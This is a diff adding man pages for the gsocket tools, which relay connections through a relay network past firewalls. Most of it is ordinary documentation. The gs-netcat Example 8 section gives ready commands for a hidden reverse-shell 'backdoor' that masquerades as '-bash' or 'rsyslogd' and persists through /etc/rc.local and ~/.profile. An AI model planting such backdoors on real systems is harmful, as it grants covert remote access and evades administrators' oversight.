The first command transfers all directories and files in /var/log/*. The latter command transfers the entire filesystem.
|
||||
Multiple get/put commands can be scheduled at the same time.
|
||||
.Sh EXAMPLES
|
||||
.Nm Example 1
|
||||
- Listen for a new connection using the password 'MySecret':
|
||||
.Dl $ gs-netcat -s MySecret -l
|
||||
.Pp
|
||||
Connect with client using the same password:
|
||||
.Dl $ gs-netcat -s MySecret
|
||||
.Pp
|
||||
.Nm Example 2
|
||||
- spawn a PTY login shell when a client connects:
|
||||
.Dl $ gs-netcat -s MySecret -l -i
|
||||
.Pp
|
||||
Log in to server's interactive shell:
|
||||
.Dl $ gs-netcat -s MySecret -i
|
||||
.Pp
|
||||
Log in via TOR:
|
||||
.Dl $ gs-netcat -s MySecret -i -T
|
||||
.Pp
|
||||
Log in via a Socks5 Proxy:
|
||||
.Dl $ export GSOCKET_SOCKS_IP=127.0.0.1
|
||||
.Dl $ export GSOCKET_SOCKS_PORT=1080
|
||||
.Dl $ gs-netcat -s MySecret -i -T
|
||||
.Pp
|
||||
.Nm Example 3
|
||||
- Execute a command when a client connects:
|
||||
.Dl $ gs-netcat -s MySecret -l -e 'echo hello world; id; exit'
|
||||
.Pp
|
||||
Connect client to the server:
|
||||
.Dl $ gs-netcat -s MySecret
|
||||
.Pp
|
||||
.Nm Example 4
|
||||
- Pipe data from client to server:
|
||||
.Dl $ gs-netcat -s MySecret -l -r >warez.tar.gz
|
||||
.Pp
|
||||
Client to read 'warez.tar.gz' and pipe it to the server.
|
||||
.Dl $ gs-netcat -s MySecret <warez.tar.gz
|
||||
.Pp
|
||||
.Nm Example 5
|
||||
- Server to act as a SOCKS4/4a/5 server:
|
||||
.Dl $ gs-netcat -s MySecret -l -S
|
||||
.Pp
|
||||
Client to listen on TCP port 1080 and forward any new connection to the server's SOCKS server:
|
||||
.Dl $ gs-netcat -s MySecret -p 1080
|
||||
.Pp
|
||||
.Nm Example 6
|
||||
- TCP Port Forward all connections to 192.168.6.7:22. Server:
|
||||
.Dl $ gs-netcat -s MySecret -l -d 192.168.6.7 -p 22
|
||||
.Pp
|
||||
Client to listen on TCP port 2222 and forward any new connection to the the server. The server then forwards the connection to 192.168.6.7:22.
|
||||
.Dl $ gs-netcat -s MySecret -p 2222
|
||||
.Dl $ ssh -p 2222 root@127.0.0.1
|
||||
.Pp
|
||||
The same using 1 command:
|
||||
.Dl $ ssh -o ProxyCommand='gs-netcat -s MySecret' root@ignored
|
||||
.Pp
|
||||
.Nm Example 7
|
||||
- Creating an SFTP server using gs-netcat:
|
||||
.Dl $ gs-netcat -s MySecret -l -e /usr/lib/sftp-server
|
||||
.Pp
|
||||
The sftp-server binary speaks the sftp-protocol to stdin/stdout. The sftp binary also speaks sftp-protocol to stdin/stdout. The tool can be used to connect both via GSRN (encrypted) and access the SFTP server running on the server's side from the client via the GSRN (encrypted).:
|
||||
.Dl $ export GSOCKET_ARGS='-s MySecret'
|
||||
.Dl $ sftp -D gs-netcat
|
||||
.Pp
|
||||
.Nm Example 8
|
||||
- Encrypted Reverse PTY shell hidden as '-bash' in the process list - also known as 'backdoor':
|
||||
.Dl $ (GSOCKET_ARGS="-s MySecret -liqD" exec -a -bash gs-netcat)
|
||||
.Pp
|
||||
The following line in /etc/rc.local starts the backdoor after each system reboot:
|
||||
.Dl GSOCKET_ARGS="-s MySecret -liqD" HOME=/root TERM=xterm-256color SHELL="/bin/bash" /bin/bash -c\ "cd $HOME; exec -a rsyslogd /usr/local/bin/gs-netcat"
|
||||
.Pp
|
||||
The following line in /etc/rc.local starts a port-forward to 127.0.0.1:22:
|
||||
.Dl GSOCKET_ARGS="-k MySecret2 -lqD -d 127.1 -p22" /bin/bash -c\ "exec -a rsyslogd /usr/local/bin/gs-netcat"
|
||||
.Pp
|
||||
The following line in the user's ~/.profile starts the backdoor (once) when the user logs in. All in one line:
|
||||
.Dl killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s MySecret3 -liqD" SHELL=/bin/bash exec -a -bash /usr/local/bin/gs-netcat)
|
||||
.Pp
|
||||
The '(...)' brackets start a sub-shell which is then replaced (by exec) with the gs-netcat process. The process is hidden (as -bash) from the process list.
|
||||
.Pp
|
||||
Client to connect to the backdoor:
|
||||
.Dl $ gs-netcat -s MySecret -i
|
||||
.Sh ENVIRONMENT
|
||||
The following environment variables can be set to control the behavior of
|
||||
.Nm
|
||||
.Pp
|
||||
.Nm GSOCKET_SOCKS_IP
|
||||
.Dl Specify the IP address of the TOR server (or any other SOCKS server). Use together with -T. Default is 127.0.0.1.
|
||||
.Pp
|
||||
.Nm GSOCKET_SOCKS_PORT
|
||||
.Dl The port number of the TOR server (or any other SOCKS server). Use together with -T. Default is 9050.
|
||||
.Pp
|
||||
.Nm GSOCKET_ARGS
|
||||
.Dl A string containing additional command line parameters. First the normal command line parameters are processed and then the command line parameters from GSOCKET_ARGS.
|
||||
.Sh SECURITY
|
||||
Passing the password as command line parameter is not secure. Consider using the -k option or GSOCKET_ARGS or enter the password when prompted:
|
||||
.Pp
|
||||
.Dl $ gs-netcat -k <file>
|
||||
.Pp
|
||||
.Dl $ export GSOCKET_ARGS="-s MySecret"
|
||||
.Dl $ gs-netcat
|
||||
.Pp
|
||||
.Nm 1.
|
||||
The security is end-2-end. This means from User-2-User (and not just to the GSRN). The GSRN relays only (encrypted) data to and from the users.
|
||||
.Pp
|
||||
.Nm 2.
|
||||
The session is 256 bit and ephemeral. It is freshly generated for every session and generated randomly (and is not based on the password). It uses OpenSSL's SRP with AES-256 and a 4096 Prime.
|
||||
.Pp
|
||||
.Nm 3.
|
||||
The password can be 'weak' without weakening the security of the session. A brute force attack against a weak password requires a new TCP connection for every guess.
|
||||
.Pp
|
||||
.Nm 4.
|
||||
Do not use stupid passwords like 'password123'. Malice might pick the same (stupid) password by chance and connect. If in doubt use gs-netcat -g to generate a strong one. Alice's and Bob's password should at least be strong enough so that Malice can not guess it by chance while Alice is waiting for Bob to connect.
|
||||
.Pp
|
||||
.Nm 5.
|
||||
If Alice shares the same password with Bob and Charlie and either one of them connects then Alice can not tell if it is Bob or Charlie who connected.
|
||||
.Pp
|
||||
.Nm 6.
|
||||
Assume Alice shares the same password with Bob and Malice. When Alice stops listening for a connection then Malice could start to listen for the connection instead. Bob (when opening a new connection) can not tell if he is connecting to Alice or to Malice. Use -a <token> if you worry about this. TL;DR: When sharing the same password with a group larger than 2 then it is assumed that everyone in that group plays nicely. Otherwise use SSH over the GS/TLS connection.
|
||||
.Pp
|
||||
.Nm 7.
|
||||
SRP has Perfect Forward Secrecy. This means that past sessions can not be decrypted even if the password becomes known.
|
||||
.Sh NOTES
|
||||
The latest version is available from https://github.com/hackerschoice/gsocket/.
|
||||
.Sh SEE ALSO
|
||||
.Xr gsocket(1) ,
|
||||
.Xr gs-sftp(1) ,
|
||||
.Xr gs-mount(1) ,
|
||||
.Xr blitz(1) ,
|
||||
.Xr nc(1) ,
|
||||
.Xr socat(1)
|
||||
.Sh BUGS
|
||||
Efforts have been made to have
|
||||
.Nm
|
||||
"do the right thing" in all its various modes. If you believe that it is doing the wrong thing under whatever circumstances, please notify me (skyper@thc.org) and tell me how you think it should behave.
|
||||
@@ -0,0 +1,57 @@
|
||||
.Dd October 12, 2020
|
||||
.Dt GS-SFTP 1
|
||||
.Os
|
||||
.Sh NAME
|
||||
.Nm gs-sftp
|
||||
.Nd Secure File Transfer Protocol via Global Socket.
|
||||
.Sh SYNOPSIS
|
||||
.Nm gs-sftp
|
||||
.Op Fl lTR
|
||||
.Op Fl s Ar secret
|
||||
.Op Fl k Ar keyfile
|
||||
.Sh DESCRIPTION
|
||||
The
|
||||
.Nm
|
||||
utility is a wrapper script for gs-netcat. It allows two users to establish a secure SFTP connetion via the Global Socket Relay Network (GSRN). This is useful in a scenario where both users are behind NAT/Firewall and unable to connect to each other directly.
|
||||
.Pp
|
||||
.Sh OPTIONS
|
||||
.Bl -tag -width Ds
|
||||
.It Fl s Ar secret
|
||||
A password chosen by the user. Both users need to use the same password to connect.
|
||||
.It Fl k Ar FILE
|
||||
A file containing the password.
|
||||
.It Fl l
|
||||
Server mode. The default mode is client.
|
||||
.It Fl R
|
||||
Places server (-l) into a read-only mode. Attempts to open files for writing, as well as other operations that change the state of the filesystem, will be denied.
|
||||
.It Fl T
|
||||
Use TOR. The
|
||||
.Nm
|
||||
tool will connect via TOR to the GSRN. This requires TOR to be installed and running. The IP and PORT of the TOR server can be set using environment variables.
|
||||
.El
|
||||
.Pp
|
||||
See
|
||||
.Xr gs-netcat(1)
|
||||
for more options.
|
||||
.Sh EXAMPLES
|
||||
.Nm Example 1
|
||||
- SFTP Server listening for clients using password 'MySecret':
|
||||
.Dl $ gs-sftp -s MySecret -l
|
||||
.Pp
|
||||
Connect sftp-client using the same password:
|
||||
.Dl $ gs-sftp -s MySecret
|
||||
.Pp
|
||||
.Sh ENVIRONMENT
|
||||
See
|
||||
.Xr gs-netcat(1)
|
||||
for a list of supported environment variables.
|
||||
.Pp
|
||||
.Sh SEE ALSO
|
||||
.Xr gsocket(1) ,
|
||||
.Xr gs-netcat(1) ,
|
||||
.Xr sftp(1)
|
||||
.Pp
|
||||
.Sh BUGS
|
||||
Efforts have been made to have
|
||||
.Nm
|
||||
"do the right thing" in all its various modes. If you believe that it is doing the wrong thing under whatever circumstances, please notify me (skyper@thc.org) and tell me how you think it should behave.
|
||||
@@ -0,0 +1,240 @@
|
||||
\# .TH gsocket 1 "08 October 2020" "1.0" "gssocket man page"
|
||||
.Dd March 02, 2021
|
||||
.Dt gsocket 1
|
||||
.Os
|
||||
.Sh NAME
|
||||
.Nm gsocket
|
||||
.Nd connect like there is no firewall. Securely.
|
||||
.Sh SYNOPSIS
|
||||
.Nm gsocket
|
||||
.Op Fl qT
|
||||
.Op Fl s Ar secret
|
||||
.Op Fl k Ar keyfile
|
||||
.Op Fl p Ar port
|
||||
.Op Ar program
|
||||
.Op Ar args ...
|
||||
.Sh DESCRIPTION
|
||||
The
|
||||
.Nm
|
||||
tool can be used to enable a program to communicate through a firewall in situations where it would not be possible to establish a direct connection to another host/workstation (NATed/firewalled). The typical scenario is two workstations that are on separate private networks and behind separate firewalls. The
|
||||
.Nm
|
||||
tool hijacks the network library functions (such as connect() and accept()) of the program and encrypts and redirects the traffic through the Global Socket Relay Network (GSRN).
|
||||
.Pp
|
||||
Neither workstation needs to open a port in their firewall nor accept incoming TCP connections.
|
||||
.Pp
|
||||
The connection is end-2-end encrypted using SRP (RFC 5054) with AES-256 and a 4096 Prime. The GSRN sees only the encrypted traffic.
|
||||
.Pp
|
||||
Common uses include:
|
||||
.Pp
|
||||
.Bl -bullet -offset indent -compact
|
||||
.It
|
||||
ssh from one workstation to another
|
||||
.It
|
||||
OpenVPN between two workstations
|
||||
.It
|
||||
netcat between two workstations
|
||||
.It
|
||||
and much, much more.
|
||||
.El
|
||||
.Pp
|
||||
...while both workstations are behind NAT and firewalled.
|
||||
.Pp
|
||||
Abandon the thought of IP addresses and port numbers: Two programs should be able to communicate with each other as long as they know the same secret (rather than each other's IP address and port number). The
|
||||
.Nm
|
||||
tools establishes such a connection regardless and independent of the local IP address or geographical location. It does so by analyzing the program and replacing the IP Layer with its own transport through GSRN. The connection is end-2-end encrypted. The GSRN sees only the encrypted traffic.
|
||||
.Pp
|
||||
The typical scenario is a client/server arrangement such as ssh and sshd: Connections by ssh to any hostname ending in '.gsocket' are redirected (through the GSRN) to the (firewalled) sshd server.
|
||||
.Pp
|
||||
The redirection is done per program (and limited to that program only). The
|
||||
.Nm
|
||||
tool does not change the routing table and does not change the NAT nor the firewall settings. It does not require superuser privileges either.
|
||||
.Pp
|
||||
.Sh OPTIONS
|
||||
.Bl -tag -width Ds
|
||||
.It Fl s Ar secret
|
||||
A secret chosen by the user. Both ends need to use the same secret to connect.
|
||||
.It Fl k Ar file
|
||||
A file containing the secret.
|
||||
.It Fl g
|
||||
Generate a secure random secret and output it to standard output.
|
||||
.It Fl q
|
||||
Quiet mode. Do not output any warnings or errors.
|
||||
.It Fl T
|
||||
Use TOR. The
|
||||
.Nm
|
||||
tool will connect through TOR to the GSRN. This requires TOR to be installed and running.
|
||||
.It Fl p Ar port
|
||||
TCP port range of listening ports to redirect [default=all].
|
||||
.El
|
||||
.Pp
|
||||
Connections to any hostname ending in '*.gsocket' or to the IP Address '127.31.33.7' are redirected through the GSRN.
|
||||
.Pp
|
||||
Connections to any hostname ending in '*.thc' or to the IP Address '127.31.33.8' are first redirected through TOR and then through the GSRN.
|
||||
.Sh EXAMPLES
|
||||
.Nm Example 1
|
||||
- OpenSSH between two firewalled workstations:
|
||||
.Pp
|
||||
Server:
|
||||
.Dl $ gsocket -s MySecret /usr/sbin/sshd
|
||||
Client:
|
||||
.Dl $ gsocket -s MySecret ssh xaitax@gsocket
|
||||
.Pp
|
||||
.Nm Example 2
|
||||
- netcat between two firewalled workstations:
|
||||
.Pp
|
||||
Server:
|
||||
.Dl $ gsocket -s MySecret nc -lp 31337
|
||||
Client:
|
||||
.Dl $ gsocket -s MySecret nc gsocket 31337
|
||||
.Pp
|
||||
.Nm Example 3
|
||||
- OpenVPN between two firewalled workstations:
|
||||
.Pp
|
||||
Server:
|
||||
.Dl $ gsocket -s MySecret openvpn --dev tun1 --proto tcp-server --ifconfig 10.9.8.1 10.9.8.2
|
||||
Client:
|
||||
.Dl $ gsocket -s MySecret openvpn --dev tun1 --proto tcp-client --ifconfig 10.9.8.2 10.9.8.1 --remote gsocket
|
||||
.Pp
|
||||
.Nm Example 4
|
||||
- IRCD between two firewalled workstations:
|
||||
.Pp
|
||||
Server:
|
||||
.Dl $ gsocket -s MySecret inspircd --nolog --nofork
|
||||
Client:
|
||||
.Dl $ gsocket -s MySecret irssi -c gsocket
|
||||
.Pp
|
||||
.Nm Example 5
|
||||
- Socat between two firewalled workstations:
|
||||
.Pp
|
||||
Server:
|
||||
.Dl $ gsocket -s MySecret socat - TCP_LISTEN:31337
|
||||
Client:
|
||||
.Dl $ gsocket -s MySecret socat - TCP:gsocket:31337
|
||||
.Pp
|
||||
.Sh SYSTEMCTL INSTALLATION
|
||||
It is possible to make any service/daemon accessible through any firewall. The service is then only acessible through the GSRN and only if the client knows the secret. No port or service is exposed to the public Internet and the existence of the service remains hidden. This example makes openssh-server (sshd) accessible through the GSRN. Nobody, not even the GSRN operators, have access to the port, daemon or service (they do not know the secret). The new service coexists with the existing openssh-server and does not interfere with the existing openssh-server.
|
||||
.Pp
|
||||
1. Copy /etc/systemd/system/sshd to /etc/systemd/system/gs-sshd
|
||||
.Pp
|
||||
2. Edit /etc/systemd/system/gs-sshd and change this line:
|
||||
.Dl ExecStart=/usr/sbin/sshd -D $SSHD_OPTS
|
||||
to
|
||||
.Dl ExecStart=gsocket -s MySecret /usr/sbin/sshd -D $SSHD_OPTS
|
||||
.Pp
|
||||
3. Start the newly created service
|
||||
.Dl # systemctl start gs-sshd
|
||||
.Pp
|
||||
4. Check the status
|
||||
.Dl # systemctl status gs-sshd
|
||||
.Pp
|
||||
5. Connect from any other host to the newly created (hidden) openssh-server:
|
||||
.Dl $ gsocket -s MySecret ssh user@gsocket
|
||||
.Pp
|
||||
.Sh TESTING
|
||||
The
|
||||
.Nm
|
||||
tool uses the LD_PRELOAD method to hijack network calls from the calling process. It then concatenates the port number to the secret and spwans a gs-netcat process to forward the TCP connection. The setup can be tested with gs-netcat.
|
||||
.Pp
|
||||
.Nm Test 1
|
||||
- gsocket server and gs-netcat client:
|
||||
.Pp
|
||||
Server:
|
||||
.Dl $ gsocket -s MySecret nc -lp 1234 # TCP port is 1234
|
||||
Client:
|
||||
.Dl $ gs-netcat -s 1234-MySecret # Notice `<port>-<SECRET>`
|
||||
.Pp
|
||||
.Nm Test 2
|
||||
- gsocket client and gs-netcat server:
|
||||
.Pp
|
||||
Server:
|
||||
.Dl $ gs-netcat -s 1234-MySecret -l
|
||||
Client:
|
||||
.Dl $ gsocket -s MySecret nc blah.gsocket 1234
|
||||
.Pp
|
||||
Internally the
|
||||
.Nm
|
||||
tool (on the client side) forks a background gs-netcat process listening on 127.31.33.7 on a random TCP port. The
|
||||
.Nm
|
||||
tool then detects `nc` trying to resolve `blah.gsocket` and returns 127.31.33.7 to `nc`. The `nc` process then connects to 127.31.33.7 instead and the gs-netcat process (that got started automatically) takes the connection and forwards the traffic via the GSRN. The `nc` tool can also directly connect to 127.31.33.7 instead of blah.gsocket (for testing):
|
||||
.Pp
|
||||
Client:
|
||||
.Dl $ gsocket -s MySecret nc -n 127.31.33.7 1234
|
||||
.Pp
|
||||
.Nm Test 3
|
||||
- SSHD via gsocket:
|
||||
.Pp
|
||||
Server:
|
||||
.Dl $ gsocket -s MySecret /usr/sbin/sshd -D -p 1234
|
||||
Client:
|
||||
.Dl $ gs-netcat -s 1234-MySecret
|
||||
.Dl SSH-2.0-OpenSSH_8.4p1 Debian-2
|
||||
.Pp
|
||||
Use gs-netcat as a port-forwarder and ssh to connect:
|
||||
.Pp
|
||||
Client:
|
||||
.Dl $ gs-netcat -s 1234-MySecret -p 44222
|
||||
.Dl $ ssh -p 44222 user@127.1
|
||||
.Pp
|
||||
.Nm Test 4
|
||||
- SSH via gsocket:
|
||||
.Pp
|
||||
On the server start a gs-netcat port forward to forward incoming GSRN connections to the SSHD on localhost:
|
||||
.Pp
|
||||
Server:
|
||||
.Dl $ gs-netcat -s 22-MySecret -l -d 127.0.0.1 -p 22
|
||||
Client:
|
||||
.Dl $ gsocket -s MySecret ssh user@gsocket
|
||||
.Pp
|
||||
.Sh ENVIRONMENT
|
||||
The following environment variables can be set to control the behavior of
|
||||
.Nm
|
||||
.Pp
|
||||
.Nm GSOCKET_SOCKS_IP
|
||||
.Dl Specify the IP address of the TOR server (or any other SOCKS server). Use together with -T. Default is 127.0.0.1.
|
||||
.Pp
|
||||
.Nm GSOCKET_SOCKS_PORT
|
||||
.Dl The port number of the TOR server (or any other SOCKS server). Use together with -T. Default is 9050.
|
||||
.Pp
|
||||
.Nm GSOCKET_ARGS
|
||||
.Dl A string containing additional command line parameters. First the normal command line parameters are processed and then the command line parameters from GSOCKET_ARGS.
|
||||
.Sh SECURITY
|
||||
Passing the password as command line parameter is not secure. Consider using the -k option or GSOCKET_ARGS or enter the password when prompted:
|
||||
.Pp
|
||||
.Dl $ gsocket -k <file>
|
||||
.Pp
|
||||
.Dl $ export GSOCKET_ARGS="-s MySecret"
|
||||
.Dl $ gsocket
|
||||
.Pp
|
||||
.Nm 1.
|
||||
The security is end-2-end. This means from user-2-user (and not just to the GSRN). The GSRN relays only (encrypted) data to and from the users.
|
||||
.Pp
|
||||
.Nm 2.
|
||||
The session is 256 bit and ephemeral. It is freshly generated for every session and generated randomly (and is not based on the password). It uses OpenSSL's SRP with AES-256 and a 4096 Prime.
|
||||
.Pp
|
||||
.Nm 3.
|
||||
The password can be 'weak' without weakening the security of the session. A brute force attack against a weak password requires a new TCP connection for every guess.
|
||||
.Pp
|
||||
.Nm 4.
|
||||
Do not use stupid passwords like 'password123'. Malice might pick the same (stupid) password by chance and connect. If in doubt use gs-netcat -g to generate a strong one. Alice's and Bob's password should at least be strong enough so that Malice can not guess it by chance while Alice is waiting for Bob to connect.
|
||||
.Pp
|
||||
.Nm 5.
|
||||
If Alice shares the same password with Bob and Charlie and either one of them connects then Alice can not tell if it is Bob or Charlie who connected.
|
||||
.Pp
|
||||
.Nm 6.
|
||||
Assume Alice shares the same password with Bob and Malice. When Alice stops listening for a connection then Malice could start to listen for the connection instead. Bob (when opening a new connection) can not tell if he is connecting to Alice or to Malice. Use -a <token> if you worry about this. TL;DR: When sharing the same password with a group larger than 2 then it is assumed that everyone in that group plays nicely. Otherwise use SSH over the GS/TLS connection.
|
||||
.Pp
|
||||
.Nm 7.
|
||||
SRP has Perfect Forward Secrecy. This means that past sessions can not be decrypted even if the password becomes known.
|
||||
.Sh NOTES
|
||||
The latest version is available from https://github.com/hackerschoice/gsocket/.
|
||||
.Sh SEE ALSO
|
||||
.Xr gs-netcat(1) ,
|
||||
.Xr gs-sftp(1) ,
|
||||
.Xr gs-mount(1) ,
|
||||
.Xr blitz(1) ,
|
||||
.Xr nc(1) ,
|
||||
.Xr socat(1)
|
||||
.Sh BUGS
|
||||
Efforts have been made to have
|
||||
.Nm
|
||||
"do the right thing" in all its various modes. If you believe that it is doing the wrong thing under whatever circumstances, please notify me (skyper@thc.org) and tell me how you think it should behave.
|
||||
Reference in new issue
Block a user